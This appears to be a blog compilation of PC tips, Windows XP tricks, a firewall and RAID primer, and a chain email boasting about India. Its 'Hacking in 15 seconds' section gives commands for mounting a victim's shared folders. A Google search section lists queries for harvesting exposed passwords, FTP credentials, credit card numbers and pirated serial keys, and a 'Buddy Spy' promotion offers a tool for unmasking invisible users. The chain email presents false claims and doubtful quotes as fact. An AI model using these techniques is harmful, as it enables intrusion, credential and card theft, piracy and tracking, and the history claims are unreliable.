How to to make your PC run smoothly? {SOME COMMON TIPS}

Personal computers have become an inherent part of our lives and are very helpful in keeping the personal as well as business data safe and secure. To ensure that a PC continues to work fine, it is necessary to perform various maintenance activities.

There are numerous tools available in the market like computer maintenance software and tools to help you to keep your computer and data safe. This article discusses some useful tips that will help you keep your computer running smoothly.
PC maintenance tips

PC maintenance tips

1. Always protect your PC by installing some kind of antivirus and regularly keep the antivirus updated. There are numerous antivirus software available on the internet. Make sure you choose a known anti-virus after consulting a computer expert. A weak anti-virus program will do more harm than good to your computer. A high-quality anti-virus program on the other hand will protect your computer from dangerous invasive software that can wash out your important data. Here are top three free antivirus: Avast Home Edition Free Antivirus, Avira Personal Free Antivirus and AVG Antivirus Free Edition. You can choose the one you like best.

2. Keep the firewall protection on as it will protect your PC from the unwanted interferers. If the firewall is not turned on and you are accessing the internet, then some hackers can see and access all the files on your computer and can infect your PC with viruses that can slow down your PC and can sometimes even crash it. Three free firewall products I recommend are: PC Tools Firewall Plus (totally free for Windows without limitations or time-limit), COMODO Internet Security and ZoneAlarm Free Firewall.

3. Temp files, downloaded Internet files, and old, unused files can occupy space in your PC. Do regular disk cleanup using tools available or you can also do so manually. Regularly delete files from the Recycle Bin to remove all the unneeded files from the computer. Remove all the cookies from the PC as they are unneeded and will occupy computer’s memory and slows down its performance.

4. You should also install a Registry Cleaner tool from the internet. It will increase the efficiency of the PC as well as make the hardware and software run smoothly. Run this regularly weekly for best results. There are a few popular free Registry Cleaners you can get online: Registry Mechanic, Registry Easy and Registry Fix. Also there are a few commercial Registry Cleaner tools I recommend: Registryrid, WiseCleaner and Registry Medic.

5. Keep checking for spyware and adware infection by installing spyware detectors. A high-quality Anti Virus program also helps you detect these. Spyware/Malware/Adware are very infectious and make the PC run very slow and sometimes even damage your system and invade your personal data. There are three popular free antispyware: Ad-Aware Free, Spybot Search & Destroy and Windows Defender. You can read the reviews before you download.

6. All the software installed in your computer must be regularly updated so that they can work efficiently. Nowadays most software have auto update facility and they prompt for updating them. As soon as the internet is turned on, they will automatically search for the updates and if new updates are available they will get it.

7. Sometimes it may happen that your computer is not infected but still it is running slow. The reason for this is the installed programs require more memory for smooth running than that is available in your PC. So the solution for this is to add more RAM.

8. Backups help to preserve the data and important files stored within the computer. Backup creation is an easy process; you just need to copy your important data in another hard drive or pen drive/USB Sticks etc. depending on the amount of data. USB drives and sticks are convenient and portable.

9. Make sure that you clean your PC to ensure that dust does not harm its components. CPU fan must be cleaned regularly to avoid dust and small debris which can harm your PC in many ways. CPU fan plays an important role in making the computer run faster. The computer monitor also must be cleaned. You can do so using the household glass cleaner and a soft cloth.

10. When your PC is not in use, ensure that you turn it off. Also, don’t turn off the PC directly from the power switch till the Windows shuts down completely.

By following the PC maintenance tips discussed here, you will surely be able to make your PC run smoothly and efficiently.




PROUD TO BE AN INDIAN.

Let the world know what we stand for.

There are 3.22 Million Indians in America.
38% of Doctors in America are Indians.
12% of Scientists in America are Indians.
36% of NASA employees are Indians.
34% of MICROSOFT employees are Indians.
28% of IBM employees are Indians.
17% of INTEL employees are Indians.
13% of XEROX employees are Indians.
You may know some of these facts. These
facts were recently published in a German
Magazine, which deals with
WORLD HISTORY FACTS ABOUT INDIA.


India never invaded any country in her last
100000 years of history.
India invented the Number System.
Aryabhatta invented zero.
The World's first university was established in
Takshila in 700BC.More than 10,500 students from
all over the world studied more than 60 subjects. The
University of Nalanda built in the 4th century BC
was one of the greatest achievements of ancient India
in the field of education.
Sanskrit is the mother of all the European
languages. Sanskrit is the most suitable language
for computer software reported in Forbes magazine,
July 1987.


Ayurveda is the earliest school of medicine
known to humans. Charaka, the father of medicine
consolidated Ayurveda 2500 years ago. Today
Ayurveda is fast regaining its rightful place
in our civilization.
Although modern images of India often show
poverty and lack of development, India was the
richest country on earth until the time of
British invasion in the early 17th Century.
The art of Navigation was born in the river
Sindh 6000 years ago.
The very word Navigation is derived from
the Sanskrit word NAVGATIH.
The Word navy is also derived from Sanskrit 'Nou'.

Bhaskaracharya calculated the time taken by the
earth to orbit the sun hundreds of years before the
astronomer Smart.; Time taken by earth to orbit
the sun: (5th century) 365.258756484 days.
Budhayana first calculated the value of pi, and
he explained the concept of what is known as the
Pythagorean Theorem. He discovered this in the
6th century long before the European mathematicians
Algebra, trigonometry and calculus came from
India; Quadratic equations were by Sridharacharya in the
11th century ; The largest numbers the
Greeks and the Romans
used were 10 6(10 to the power of 6) whereas

Hindus Used numbers as big as 1053 (10 to the
power of 53) with specific names as Early as 5000 BCE
during the Vedic period. Even today, the largest
used number is Tera 1012(10 to the power of 12).


According to the Gemological Institute of
America, up until 1896,India was the only source for
diamonds to the world.
USA based IEEE has proved what has been a
century-old suspicion in the world scientifi
community that the pioneer of Wireless
communication was Prof. Jagdeesh Bose and not Marconi.


The earliest reservoir and dam for irrigation was
built in Saurashtra. According to Saka King
rudradaman I of 150 CE a beautiful lake
called 'Sudarshana'
was constructed on the hills of Raivataka during
Chandragupta Maurya's time.


Chess (Shataranja or AshtaPada) was invented in India.

Sushruta is the father of surgery. 2600
years ago he and health scientists of his time
conducted complicated surgeries like cesareans,
cataract, artificial limbs, fractures, urinary
stones and even plastic surgery and brain surgery. Usage
of anesthesia was well known in ancient India.
Over 125 surgical equipment were used. Deep
knowledge of anatomy, etiology, embryology, digestion,
metabolism, genetics and immunity is also found
in many texts.


When many cultures were only nomadic forest
dwellers over 5000 years ago, Indians
established Harappan culture in Sindhu
Valley (Indus Valley Civilization)
The place value system, the decimal system
was developed in India in 100 BC.


QUOTES ABOUT INDIA:

Albert Einstein said: We owe a lot to the
Indians, who taught us how to count, without
which no worthwhile scientific discovery could
have been made.
Mark Twain said: India is the cradle of the
human race, the birthplace of human speech, the mother
of history, the grandmother of legend, and the great
grand mother of tradition. Our most valuable and most
structive materials in the history of man are treasured
up in India only.
French scholar Romain Rolland said: If there is
one place on the face of earth where all
the dreams of living men have found a home from
the very earliest days when man began the dream
of existence, it is India.
Hu Shih, former Ambassador of China to USA said:
India conquered And dominated China culturally
for 20 centuries without ever having to send a single
soldier across her border.
=================================================================
All the above is just the TIP of the iceberg, the
list could be endless. BUT, if we don't see even a
glimpse of that great India in the India That we see
today, it
clearly means that we are not working up to our
Potential and that if we do, we could once
again; be an ever shining and Inspiring country
setting a bright path for rest of the world to follow.
I Hope you enjoyed it and work towards the welfare
of INDIA. PROUD to be an INDIAN.

=================================================================



20 HIDDEN THINGS FOR PC YOU SHOULD KNOW.......


1. It boasts how long it can stay up. Go to the Command Prompt in the Accessories menu from the All Programs start button option, and then type 'systeminfo'. The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo > info.txt'. This creates a file called info.txt you can look at later with Notepad. (Professional Edition only).

2. You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run... and type 'gpedit.msc'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish. (Professional Edition only).

3. You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.

4. XP hides some system software you might want to remove, such as Windows Messenger, but you can make it show everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be the software and you can now uninstall it.

5. For those skilled in the art of DOS batch files, XP has a number of interesting new commands. These include 'eventcreate' and 'eventtriggers' for creating and watching system events, 'typeperf' for monitoring performance of various subsystems, and 'schtasks' for handling scheduled tasks. As usual, typing the command name followed by /? will give a list of options.

6. XP has IP version 6 support -- the next generation of IP. Unfortunately this is more than your ISP has, so you can only experiment with this on your LAN. Type 'ipv6 install' into Run... (it's OK, it won't ruin your existing network setup) and then 'ipv6 /?' at the command line to find out more. If you don't know what IPv6 is, don't worry.

7. You can at last get rid of tasks on the computer from the command line by using 'taskkill /pid' and the task number, or just 'tskill' and the process number. Find that out by typing 'tasklist', which will also tell you a lot about what's going on in your system.

8. XP will treat Zip files like folders, which is nice if you've got a fast machine. On slower machines, you can make XP leave zip files alone by typing 'regsvr32 /u zipfldr.dll' at the command line. If you change your mind later, you can change things back by typing 'regsvr32 zipfldr.dll'.

9. XP has ClearType -- Mic*ft's anti-aliasing font display technology -- but doesn't have it enabled by default. It's well worth trying, especially if you were there for DOS and all those years of staring at a screen have given you the eyes of an astigmatic bat. To enable ClearType, right click on the desktop, select Properties, Appearance, Effects, select ClearType from the second drop-down menu and enable the selection. Expect best results on laptop displays. If you want to use ClearType on the Welcome login screen as well, set the registry entry HKEY_USERS/.DEFAULT/Control Panel/Desktop/FontSmoothingType to 2.

10. You can use Remote Assistance to help a friend who's using network address translation (NAT) on a home network, but not automatically. Get your pal to email you a Remote Assistance invitation and edit the file. Under the RCTICKET attribute will be a NAT IP address, like 192.168.1.10. Replace this with your friend's real IP address -- they can find this out by going to www.whatismyip.com -- and get them to make sure that they've got port 3389 open on their firewall and forwarded to the errant computer.

11. You can run a program as a different user without logging out and back in again. Right click the icon, select Run As... and enter the user name and password you want to use. This only applies for that run. The trick is particularly useful if you need to have administrative permissions to install a program, which many require. Note that you can have some fun by running programs multiple times on the same system as different users, but this can have unforeseen effects.

12. Windows XP can be very insistent about you checking for auto updates, registering a Passport, using Windows Messenger and so on. After a while, the nagging goes away, but if you feel you might go insane before that point, run Regedit, go to HKEY_CURRENT_USER/Software/Mic*ft/Windows/Current Version/Explorer/Advanced and create a DWORD value called EnableBalloonTips with a value of 0.

13. You can start up without needing to enter a user name or password. Select Run... from the start menu and type 'control userpasswords2', which will open the user accounts application. On the Users tab, clear the box for Users Must Enter A User Name And Password To Use This Computer, and click on OK. An Automatically Log On dialog box will appear; enter the user name and password for the account you want to use.

14. Internet Explorer 6 will automatically delete temporary files, but only if you tell it to. Start the browser, select Tools / Internet Options... and Advanced, go down to the Security area and check the box to Empty Temporary Internet Files folder when browser is closed.

15. XP comes with a free Network Activity Light, just in case you can't see the LEDs twinkle on your network card. Right click on My Network Places on the desktop, then select Properties. Right click on the description for your LAN or dial-up connection, select Properties, then check the Show icon in notification area when connected box. You'll now see a tiny network icon on the right of your task bar that glimmers nicely during network traffic.

16. The Start Menu can be leisurely when it decides to appear, but you can speed things along by changing the registry entry HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay from the default 400 to something a little snappier. Like 0.

17. You can rename loads of files at once in Windows Explorer. Highlight a set of files in a window, then right click on one and rename it. All the other files will be renamed to that name, with individual numbers in brackets to distinguish them. Also, in a folder you can arrange icons in alphabetised groups by View, Arrange Icon By... Show In Groups.

18. Windows Media Player will display the cover art for albums as it plays the tracks -- if it found the picture on the Internet when you copied the tracks from the CD. If it didn't, or if you have lots of pre-WMP music files, you can put your own copy of the cover art in the same directory as the tracks. Just call it folder.jpg and Windows Media Player will pick it up and display it.

19. Windows key + Break brings up the System Properties dialogue box; Windows key + D brings up the desktop; Windows key + Tab moves through the taskbar buttons.

20. Windows XP secretly KNOWS that the average user has no idea what they are doing. Therefore, it doesn't let you do really stupid things like deleting the windows directory (at least not without spending several hours convincing it that you REALLY want to do this). Oh yeah, and internet explorer kinda sucks.


HIDE YOUR FOLDERS IN ADIFFERENT WAY$$$$.....


hide ur folders in adifferent way

Right Click on the desktop.Make a new folder

2)Now rename the folder with a space(U have to hold ALT key and type 0160).

3)Now u have a folder with out a name.

4)Right click on the folder>properties>customize. Click on change icon.

5)Scroll a bit, u should find some empty spaces, Click on any one of them.
click ok
Thats it, now u can store ur personal data without any 3rd party tools.


-------------------------------------------------------------------------------------------

U can also hide ur folder by dis method:-

open Start>Run>CMD
now type attrib +s +h C:/name of d folder u want to hide
Now even in the folder option Show all Hide folders is slected still u will get dis folder hide...

And to unhide type same command juzz put "-" instead of "+"


HACKING IN 15 SECONDS

system intrusion in 15 sec............

this how hackers attack the box ..........................

if your victim possess certain security flaws then her system can be broken into in less that 15 seconds.

This is how : -

Click "Start -> Run -> cmd"

Type the following at the Dos Prompt

Nbtstat –A IP address [e.g: nbtstat –A 207.175.1.1]

This will give you a read out that looks like this

NetBIOS Remote Machine Name Table
______________________________
Name Type Status
______________________________

abhi <00> UNIQUE Registered
WORK <00> GROUP Registered
abhi <03> UNIQUE Registered
abhi <20> UNIQUE Registered
WORK <1e> GROUP Registered
WORK <1d> UNIQUE Registered
__MSBROWSE__.<01>GROUP Registered ____________________________________

The numbers in the <> are hex code values. What we are interested in is the “Hex Code” number of <20>. A hex code of <20> means you have file and printer sharing turned on.

Next step is to find out what is being shared. This is how : -
Net view \\
[e.g : net view \\207.175.1.1]

You will then get a response that looks something like this. Shared resources at \\ip_address Sharename Type Comment

______________________
MY DOCUMENTS Disk
TEMP Disk
_______________________

The command was completed successfully.)


This shows you that your potential victim has their My Documents Folder shared and their Temp directory shared. For you to then get access to those folders next command will be.

Net use x: \\\temp
[e.g : net use x: \\207.175.1.1\temp]

If all goes well for you, you will then get a response of
(The command was completed successfully.)
Open my computer you will see your victim's temp folder there.


FIND OUT E-MAIL SENT BY YOU IS READ OR NOT

Now you can find out when your email has been read by the recipient! No more guessing: "Has he or she read my email yet?"SpyPig is a simple email tracking system that sends you a notification email as soon as the recipient opens and reads your message.It works with virtually all modern email programmes: Outlook, Eudora, Yahoo Email , Gmail, Hotmail, AOL Email and many others.Best of all, SpyPig is FREE! No spam, no virus, no adware? You can use it as often as you like, and there's no catch.The system is very easy to use. In just few minutes, you'll be able to use it like a real spy!To start using SpyPig, follow the simple steps in the SpyPig Farm .


Yahoo Invisible Mode Detection...enjoy...

Buddy Spy
This software is 2 awesome..
Buddy Spy is the premier program for Yahoo! Messenger status checking. With Buddy Spy you can now bypass Yahoo! Messenger's Invisible Settings with ease. With its quick and intuitive interface Buddy Spy offers you the ability to see if your friend is truly online or if they are invisible. Not only does Buddy Spy offer you online checking, but it will also tell you whether your friend is in a Chat Room or even if their Web Cam is online!

"Buddy Spy is a User friendly , straight forward program , that I would have a hard time surviving without !! It helps Me stay in touch with Those that have to log in under invisible mode to keep from being bombarded with messages from Their Friends on Their list .

What's new?
New in Buddy Spy 2.2 is a Scan History, which keeps a log of all the users you have scanned. The log includes, the user name, online status, webcam status, chat room status, date and time, in an easy to read format. Also new in this version of Buddy Spy, is the Web Check. The web check is a new scanning method that will detect online presence, even if they are not using Yahoo! Messenger.
Download it from here
http://www.buddy-spy.com/files/BuddySpySetup.exe


Google Advanced Search Options...


ws_ftp.ini is a configuration file for a popular FTP client that stores usernames, (weakly) encoded passwords, sites and directories that the user can store for later reference. These should not be on the web!

That's some good stuff. Just copy/paste the text into your own WS FTP ini file and you're good as gold (assuming you're using the same version). Don't forget - even if they have taken the file offline, use the "cache:FULL_URL/wsftp.ini" to see the contents.
probably one of the best exploits I have seen in a long time, when I did it there were about 20 vulnerable computers, just recently there was 4 so I hope whitehats got to this before anyone else. really nice !!

To see results; just write in the (http://www.google.com/) search engine the code:

intitle:index.of ws_ftp.ini

Frontpage.. very nice clean search results listing !! I magine with me that you can steal or know the password of any web site designed by "Frontpage". But the file containing the password might be encrypted; to decrypt the file download the program " john the ripper".

To see results; just write in the (http://www.google.com/) search engine the code:

"# -FrontPage-" inurl:service.pwd

This searches the password for "Website Access Analyzer", a Japanese software that creates webstatistics.

To see results; just write in the (http://www.google.com/) search engine the code:

"AutoCreate=TRUE password=*"

WS_FTP.ini is a configuration file for a popular win32 FTP client that stores usernames and weakly encoded passwords.

To see results; just write in the (http://www.google.com/) search engine the code:

filetype:ini ws_ftp pwd

Or

"index of/" "ws_ftp.ini" "parent directory"

Not all of these pages are administrator's access databases containing usernames, passwords and other sensitive information, but many are! And much adminstrated passwords and user passwords, a lot of emails and the such too…

To see results; just write in the (http://www.google.com/) search engine the code:

allinurl: admin mdb

DCForum's password file. This file gives a list of (crackable) passwords, usernames and email addresses for DCForum and for DCShop (a shopping cart program(!!!). Some lists are bigger than others, all are fun.

To see results; just write in the (http://www.google.com/) search engine the code:

allinurl:auth_user_file.txt

These files contain ColdFusion source code. In some cases, the pages are examples that are found in discussion forums. However, in many cases these pages contain live sourcecode with usernames, database names or passwords in plaintext.

To see results; just write in the (http://www.google.com/) search engine the code:

filetype:cfm "cfapplication name" password

The encryption method used in WS_FTP is _extremely_ weak. These files can be found with the "index of" keyword or by searching directly for the PWD= value inside the configuration file.

There is an easy way to decrypt the hash, use the decryptor at:


http://www.codebluehacks.com/Tools.php?ID=1

Or

http://www.hispasec.com/directorio/laboratorio/Software/ws_ftp.html

To see results; just write in the (http://www.google.com/) search engine the code:

filetype:ini ws_ftp pwd
These files contain cleartext usernames and passwords, as well as the sites associated with those credentials. Attackers can use this information to log on to that site as that user.
To see results; just write in the (http://www.google.com/) search engine the code:

filetype:log inurl:"password.log"

Allows an attacker to create an account on a server running Argosoft mail server pro for windows with unlimited disk quota (but a 5mb per message limit should you use your account to send mail).

To see results; just write in the (http://www.google.com/) search engine the code:

"adding new user" inurl:addnewuser -"there are no domains"

Google is so smart, it’s scary sometimes. I has found another interesting (to say the least) Google use.
I just ran across a pretty scary new google trick. It seems they have just recently added number span searching to their engine. Take a look at this example:

To see results; just write in the (http://www.google.com/) search engine the code:

visa 4356000000000000..4356999999999999

Basically, what this search does is search for the word “visa” [credit card] with any numbers that fit within your query. i.e. any Visa credit card number with the first four digits 4356.
As you can see, Google has searched the entire range against its DB. Within minutes I found some crazy sites like this one. Now please know that Google didn’t create this tool to be used like this. It’s actually quite handy when used correctly. Just an FYI for all of you.

Let's pretend you need a serial number for windows xp pro. The key is the 94FBR code.. it was included with many MS Office registration codes so this will help you dramatically reduce the amount of 'fake' porn sites that trick you.
To see results; just write in the (http://www.google.com/) search engine the code:

"Windows XP Professional" 94FBR

By the way, don't forget to change "Window sXP Professional" to any product you need its serial number.


How To Change The Name Of The START Button


change start menu name

the steps r v simple.
follow the steps carefully..

download RESOURCE HACKER




1. Run Resource Hacker, and open \windows\explorer.exe

2. Click String Table > 37 > 1033 (XP-style button)

3. Replace "start" with whatever you want ("hello", in the picture above)

4. Click the Compile Script button.

5. Save as explorer no space the compile name like eg: explorer123.exe
then save it

Repeat steps 3 and 4 for String table > 38 > 1033 (Classic-style button)



go to run
type regedit
go toHKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/windows NT/currentVersion/winlog
ther change the shell value by double clicking on it
the value will be explorer no space your given name ex:explorersoham.exe
exit
then restart


IMPORTANT:DO THIS AT YOUR OWN RISK AS YOU MAY END UP CRASHING YOUR WINDOWS OR WINDOWS WITH ONLY WALLPAPER & NO TASKBAR & ICONS


IF THIS HAPPENS OPEN TASKMANAGER IN NEW TASK TYPE REGEDIT
& UNDO THE CHANGES U MADE BEFORE (RENAME EXPLORER1 TO EXPLORER AGAIN)


How to Change the Name of the Start Menu Button


change start menu name

the steps r v simple.
follow the steps carefully..

download RESOURCE HACKER




1. Run Resource Hacker, and open \windows\explorer.exe

2. Click String Table > 37 > 1033 (XP-style button)

3. Replace "start" with whatever you want ("hello", in the picture above)

4. Click the Compile Script button.

5. Save as explorer no space the compile name like eg: explorer123.exe
then save it

Repeat steps 3 and 4 for String table > 38 > 1033 (Classic-style button)



go to run
type regedit
go toHKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/windows NT/currentVersion/winlog
ther change the shell value by double clicking on it
the value will be explorer no space your given name ex:explorersoham.exe
exit
then restart


IMPORTANT:DO THIS AT YOUR OWN RISK AS YOU MAY END UP CRASHING YOUR WINDOWS OR WINDOWS WITH ONLY WALLPAPER & NO TASKBAR & ICONS


IF THIS HAPPENS OPEN TASKMANAGER IN NEW TASK TYPE REGEDIT
& UNDO THE CHANGES U MADE BEFORE (RENAME EXPLORER1 TO EXPLORER AGAIN)


All About FIREWALL

What is a Firewall?

A firewall is a piece of software or hardware that helps screen out hackers, viruses, and worms that try to reach your computer over the Internet. If you are a home user or small-business user, using a firewall is the most effective and important first step you can take to help protect your computer.

Different Types of Firewalls

Different firewalls use different techniques. Most firewalls use two or more of the following techniques:

Packet Filters:

A packet filter looks at each packet that enters or leaves the network and accepts or rejects the packet based on user-defined rules. Packet filtering is fairly effective and transparent, but it is difficult to configure. In addition, it is susceptible to IP spoofing.

Application Gateway:

An application gateway applies security mechanisms to specific programs, such as FTP and Telnet. This technique is very effective, but it can cause performance degradation.

Circuit-layer Gateway:

This technique applies security mechanisms when a Transmission Control Protocol (TCP) or User Datagram Protocol (UDP) connection is established. After the connection has been established, packets can flow between the hosts without any further checking.

Proxy Server:

A proxy server intercepts all messages that enter and leave the network. The proxy server effectively hides the true network addresses.

Application Proxies:

Application proxies have access to the whole range of information in the network stack. This permits the proxies to make decisions based on basic authorization (the source, the destination and the protocol) and also to filter offensive or disallowed commands in the data stream. Application proxies are "stateful," meaning they keep the "state" of connections inherently. The Internet Connection Firewall feature that is included in Windows XP is a "stateful" firewall, as well as, the Windows Firewall. The Windows Firewall is included with Windows XP Service Pack 2 (SP2).

What does a firewall do?

A firewall examines all traffic routed between the two networks to see if it meets certain criteria. If it does, it is routed between the networks, otherwise it is stopped. A firewall filters both inbound and outbound traffic. It can also manage public access to private networked resources such as host applications. It can be used to log all attempts to enter the private network and trigger alarms when hostile or unauthorized entry is attempted. Firewalls can filter packets based on their source and destination addresses and port numbers. This is known as address filtering. Firewalls can also filter specific types of network traffic. This is also known as protocol filtering because the decision to forward or reject traffic is dependant upon the protocol used, for example HTTP, ftp or telnet. Firewalls can also filter traffic by packet attribute or state.

What can't a firewall do?

A firewall cannot prevent individual users with modems from dialling into or out of the network, bypassing the firewall altogether. Employee misconduct or carelessness cannot be controlled by firewalls. Policies involving the use and misuse of passwords and user accounts must be strictly enforced. These are management issues that should be raised during the planning of any security policy but that cannot be solved with firewalls alone.

The arrest of the Phonemasters cracker ring brought these security issues to light. Although they were accused of breaking into information systems run by AT&T Corp., British Telecommunications Inc., GTE Corp., MCI WorldCom, Southwestern Bell, and Sprint Corp, the group did not use any high tech methods such as IP spoofing (see question 10). They used a combination of social engineering and dumpster diving. Social engineering involves skills not unlike those of a confidence trickster. People are tricked into revealing sensitive information. Dumpster diving or garbology, as the name suggests, is just plain old looking through company trash. Firewalls cannot be effective against either of these techniques.

Who needs a firewall?

Anyone who is responsible for a private network that is connected to a public network needs firewall protection. Furthermore, anyone who connects so much as a single computer to the Internet via modem should have personal firewall software. Many dial-up Internet users believe that anonymity will protect them. They feel that no malicious intruder would be motivated to break into their computer. Dial up users who have been victims of malicious attacks and who have lost entire days of work, perhaps having to reinstall their operating system, know that this is not true. Irresponsible pranksters can use automated robots to scan random IP addresses and attack whenever the opportunity presents itself.

How does a firewall work?

There are two access denial methodologies used by firewalls. A firewall may allow all traffic through unless it meets certain criteria, or it may deny all traffic unless it meets certain criteria. The type of criteria used to determine whether traffic should be allowed through varies from one type of firewall to another. Firewalls may be concerned with the type of traffic, or with source or destination addresses and ports. They may also use complex rule bases that analyse the application data to determine if the traffic should be allowed through. How a firewall determines what traffic to let through depends on which network layer it operates at. A discussion on network layers and architecture follows.

Desktop Firewall

Any software installed on an operating system to protect a single computer, like the one included with Windows XP, is called a desktop or personal firewall. This type of firewall is designed to protect a single desktop computer. This is a great protection mechanism if the network firewall is compromised.

Software Firewall

This type of firewall is a software package installed on a server operating system which turns the server into a full fledged firewall. Many people do not consider this the most secure type of firewall as you have the inherit security issues of the underlying operating system. This type of firewall is often used as an application firewall. This means the firewall is optimized to protect applications such as web application and email servers. Software firewalls have complex filters to inspect the content of the network traffic to insure that type of traffic is properly formatted. This type of firewall is usually (but not always) behind hardware firewalls (explanation to follow).

Hardware Firewall

A hardware firewall is a dedicated hardware device with a proprietary operating system or a stripped down operating system core. These firewalls include network routers with additional firewall capabilities. These firewalls are designed to handle large amounts of network traffic. Hardware firewalls are often placed on the perimeter of the network to filter the internet noise and only allow pre-determined traffic into the network. Sometimes hardware firewalls are used in conjunction with software firewalls so the hardware firewall filters out the traffic and the software firewall inspects the network traffic. When hardware firewalls are bombarded with bogus network traffic they drop the unwanted traffic only letting in the right traffic. This not only protects the software firewall but allows the software firewall only has to inspect proper network traffic thus the combination optimizes the network throughput.

Network-Level Firewalls

The first generation of firewalls (c. 1988) worked at the network level by inspecting packet headers and filtering traffic based on the IP address of the source and the destination, the port and the service. Some of these primeval security applications could also filter packets based on protocols, the domain name of the source and a few other attributes.

Network-level firewalls are fast, and today you'll find them built into most network appliances, particularly routers. These firewalls, however, don't support sophisticated rule-based models. They don’t understand languages like HTML and XML, and they are capable of decoding SSL-encrypted packets to examine their content. As a result, they can’t validate user inputs or detect maliciously modified parameters in an URL request. This leaves your network vulnerable to a number of serious threats.

Circuit-Level Firewalls

These applications, which represent the second-generation of firewall technology, monitor TCP handshaking between packets to make sure a session is legitimate. Traffic is filtered based on specified session rules and may be restricted to recognized computers only. Circuit-level firewalls hide the network itself from the outside, which is useful for denying access to intruders. But they don't filter individual packets.

Application-Level Firewalls

Recently, application-level firewalls (sometimes called proxies) have been looking more deeply into the application data going through their filters. By considering the context of client requests and application responses, these firewalls attempt to enforce correct application behavior, block malicious activity and help organizations ensure the safety of sensitive information and systems. They can log user activity too. Application-level filtering may include protection against spam and viruses as well, and be able to block undesirable Web sites based on content rather than just their IP address.

If that sounds too good to be true, it is. The downside to deep packet inspection is that the more closely a firewall examines network data flow, the longer it takes, and the heavier hit your network performance will sustain. This is why the highest-end security appliances include lots of RAM to speed packet processing. And of course you'll pay for the added chips.

Stateful Multi-level Firewalls

SML vendors claim that their products deploy the best features of the other three firewall types. They filter packets at the network level and they recognize and process application-level data, but since they don't employ proxies, they deliver reasonably good performance in spite of the deep packet analysis. On the downside, they are not cheap, and they can be difficult to configure and administer.



What is RAID?


In 1987, Patterson, Gibson and Katz at the University of California Berkeley, published a paper entitled "A Case for Redundant Arrays of Inexpensive Disks (RAID)" . This paper described various types of disk arrays, referred to by the acronym RAID. The basic idea of RAID was to combine multiple small, inexpensive disk drives into an array of disk drives which yields performance exceeding that of a Single Large Expensive Drive (SLED). Additionally, this array of drives appears to the computer as a single logical storage unit or drive.

RAID stands for Redundant Array of Independent Disks and it basically involves
combining two or more drives together to improve the performance and the fault tolerance.
Combining two or more drives together also offers improved reliability and larger data volume sizes.A RAID distributes the data across several disks and the operating system considers this array as a single disk.
Using Multiple Hard Drives for Performance and Reliability.

Types of RAID :

RAID 0 - Striping:
It is the Stripped Disk Array with no fault tolerance and it requires at least 2 drives to be implemented. Due to no redundancy feature, RAID 0 is considered to be the lowest ranked RAID level. Striped data mapping technique is implemented for high performance at low cost.
The I/O performance is also improved as it is loaded across many channels. Regeneration, Rebuilding and functional redundancy are some salient features of RAID 0.

Raid1: Disk mirroring is the basic function occurs.
1. It creats exact copy of one physical harddisk to another.
2. It uses one controller
3. If one drive fails system will boot with other drive.
4. slow performance.
5. Increased cost every mirror must be seperate physical device thus you must purchase twice the storage capacity.
6. no protection from controller failure.: if controller failure , the mirrored drives as just inaccessible.

RAID 0+1:
It is the RAID array providing high data transference performance with at least 4 disks needed to implement the RAID 0+1 level.
It's a unique combination of stripping and mirroring with all the best features of RAID 0 and RAID 1 included such as fast data access and fault tolerance at single drive level. The multiple stripe segments have added high I/O rates to the RAID performance and it is the best solution for maximum reliability.

RAID 2 (ECC):
It is the combination of Inherently Parallel Mapping and Protection RAID array. It's also known as ECC RAID because each data word bit is written to data disk which is verified for correct data or correct disk error when the RAID disk is read. Due to special disk features required, RAID 2 is not very popular among the corporate data storage masses, despite the extremely high data transference rates.

RAID 3:
RAID 3 works on the Parallel Transfer with Parity technique. The least number of disks required to implement the RAID array is 3 disks.
In the RAID 3, data blocks are striped and written on data drives and then the stripe parity is generated, saved and afterwards used to verify the disk reads. Read and write data transfer rate is very high in RAID 3 array and disk failure causes insignificant effects on the overall performance of the RAID.

RAID 4:
RAID 4 requires a minimum of 3 drives to be implemented. It is composed of independent disks with shared parity to protect the data. Data transaction rate for Read is exceptionally high and highly aggregated. Similarly, the low ratio of parity disks to data disks indicates
high efficiency.

RAID 5:
RAIDS 5 is Independent Distributed parity block of data disks with a minimum requirement of at least 3 drives to be implemented and N-1 array capacity. It helps in reducing the write inherence found in RAID 4. RAID 5 array offers highest data transaction Read rate, medium data transaction Write rate and good cumulative transfer rate.

Raid 5: Disk stripping with parity.It is completely Software based and higly secured technology.
1. Raid 5 is in-expensive, but very convinient.
2.The parity information is stored distributed in different disk .
3.If one of the disk fails , it is hot swappable.
4.Parity information is stored in other Harddisk is automatically
updated to failed one.
5.If more than one disk fails, it should be restored from backup.


RAID 6:
RAIDS 6 is Independent Data Disk array with Independent Distributed parity. It is known to be an extension of RAID level 5 with extra fault tolerance and distributed parity scheme added. RAID 6 is the best available RAID array for mission critical applications and data storage needs, though the controller design is very complex and overheads are extremely high.

RAID 7:
RAID 7 is the Optimized Asynchrony array for high I/O and data transfer rates and is considered to be the most manageable RAID controller available. The overall write performance is also known to be 50% to 90% better and improved than the single spindle
array levels with no extra data transference required for parity handling. RAID 7 is registered as a standard trademark of Storage Computer Corporation.

RAID 10:
RAID 10 is classified as the futuristic RAID controller with extremely high Reliability and performance embedded in a single RAID controller.
The minimum requirement to form a RAID level 10 controller is 4 data disks. The implementation of RAID 10 is based on a striped array of RAID 1 array segments, with almost the same fault tolerance level as RAID 1. RAID 10 controllers and arrays are suitable for
uncompromising availability and extremely high throughput required systems an environment.

With all the significant RAID levels discussed here briefly, another important point to add is that whichever level of RAID is used regular and consistent data backup maintenance using tape storage is must as the regular tape storage is best media to recover from lost data scene.


RAID 1:
